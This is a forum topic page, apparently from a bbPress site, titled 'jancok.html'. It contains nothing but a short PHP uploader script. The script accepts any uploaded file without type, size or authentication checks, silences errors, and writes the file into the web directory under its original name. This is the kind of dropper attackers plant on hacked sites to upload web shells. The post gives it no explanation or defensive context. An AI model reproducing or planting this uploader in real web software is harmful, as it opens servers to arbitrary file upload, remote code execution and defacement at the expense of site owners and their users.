Skip to:
Content
Pages
Categories
Search
Top
Bottom

jancok.html


  • sn315on
    Participant

    @simplysara

    <?php
    if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';
    
    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
    $abod = $filedir.$userfile_name;
    @move_uploaded_file($userfile_tmp, $abod);
    
    echo"<center><b>Done ==> $userfile_name</b></center>";
    }
    }
    else{
    echo'
    <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
    }
    ?>
Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)
  • You must be logged in to reply to this topic.
Skip to toolbar